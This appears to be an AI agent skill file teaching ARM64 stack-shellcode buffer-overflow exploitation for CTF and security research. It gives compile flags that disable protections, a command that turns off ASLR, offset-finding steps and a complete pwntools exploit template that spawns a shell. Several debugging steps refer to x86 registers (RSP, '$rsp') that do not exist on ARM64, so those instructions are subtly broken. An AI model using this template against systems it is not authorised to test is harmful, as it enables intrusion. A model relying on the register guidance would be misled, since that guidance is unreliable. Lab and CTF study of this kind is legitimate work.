Stack Shellcode Exploitation - ARM64

This skill helps you create stack shellcode exploits for ARM64 architecture buffer overflow vulnerabilities.

When to Use This Skill

Use this skill when:

• You have a vulnerable ARM64 binary with a buffer overflow
• You need to inject and execute shellcode on the stack
• You're working on CTF challenges or security research involving ARM64 exploitation
• You need help finding the correct offset to overwrite the return address
• You need to craft payloads for ARM64 pwn challenges

Key Concepts

ARM64 Stack Shellcode Basics

On ARM64, stack shellcode exploits work by:

1. Overwriting the return address with a pointer to your shellcode on the stack
2. Placing shellcode after the return address in the overflow buffer
3. When the function returns, execution jumps to your shellcode

Platform Differences

Linux:

• Can disable NX with

  -z execstack

  flag
• Can disable ASLR for testing
• Full stack shellcode exploitation possible

macOS:

• NX is hardware-enforced and cannot be disabled
• Stack shellcode exploitation is NOT possible
• Use ret2win or ROP techniques instead

Exploitation Workflow

Step 1: Compile the Vulnerable Binary

For testing purposes, compile without protections:

clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

Important flags:

• -fno-stack-protector

  : Disables canary

• -no-pie

  : Disables position-independent executable

• -z execstack

  : Makes stack executable (Linux only)

Step 2: Disable ASLR (Linux Testing)

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Step 3: Find the Offset

Use the

find-offset-arm64.sh

script or manually with GDB:

# Generate cyclic pattern
python3 -c "from pwn import *; print(cyclic(256))"

# Run binary with pattern, crash, check RSP in GDB
# Calculate offset from pattern offset

Step 4: Generate Shellcode

from pwn import *
shellcode = asm(shellcraft.sh())

Step 5: Craft the Payload

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)  # Adjust based on actual stack location

# Payload: padding + return address + shellcode
payload = b'A' * offset + ret_address + shellcode

Step 6: Execute the Exploit

p = process(binary_name)
p.send(payload)
p.interactive()

Common Issues and Solutions

Stack Address Changes

The stack address may differ between GDB debugging and actual exploitation. If your exploit doesn't work:

1. Generate a core dump:

   gdb ./binary ./core

2. Check the actual shellcode address in the core file
3. Update your

   ret_address

   accordingly

Finding the Correct Stack Address

Use this approach:

1. Run the exploit with a placeholder address
2. Generate a core file on crash
3. In GDB:

   x/20gx $rsp

   to see stack contents
4. Find where your shellcode actually landed
5. Update the exploit with the correct address

macOS Limitations

On macOS ARM64:

• NX cannot be disabled (hardware-level enforcement)
• Stack shellcode will NOT work
• Use ret2win or ROP chains instead
• See

  ret2win-arm64

  skill for alternatives

Scripts Available

• find-offset-arm64.sh

  : Find the buffer overflow offset

• generate-shellcode-exploit.py

  : Generate a complete exploit

Example Exploit Template

from pwn import *

# Configuration
binary_name = './bof'
offset = 72  # Adjust based on your binary

# Setup
elf = context.binary = ELF(binary_name)
shellcode = asm(shellcraft.sh())

# Start process
p = process(binary_name)

# Find stack address (you may need to adjust this)
# Use GDB to find the actual address where shellcode lands
ret_address = p64(0xfffffffff1a0)  # Replace with actual address

# Craft payload
payload = b'A' * offset + ret_address + shellcode

print(f"Payload length: {len(payload)}")
print(f"Shellcode length: {len(shellcode)}")

# Send and interact
p.send(payload)
p.interactive()

Debugging Tips

1. Use GDB with pwndbg/gef: Better ARM64 support
2. Check registers:

   info registers

   to see RSP, PC values
3. Examine stack:

   x/20gx $rsp

   to view stack contents
4. Core dumps: Enable with

   ulimit -c unlimited

5. Pattern offset: Use

   cyclic_find()

   to find exact offset

Security Considerations

• Only use on systems you own or have permission to test
• Modern systems have multiple protections (ASLR, NX, PIE, canaries)
• This technique is primarily for CTF challenges and security research
• Real-world exploitation requires bypassing multiple protections

References

• ARM64 Assembly basics
• Pwntools documentation
• GDB debugging for ARM64
• Buffer overflow fundamentals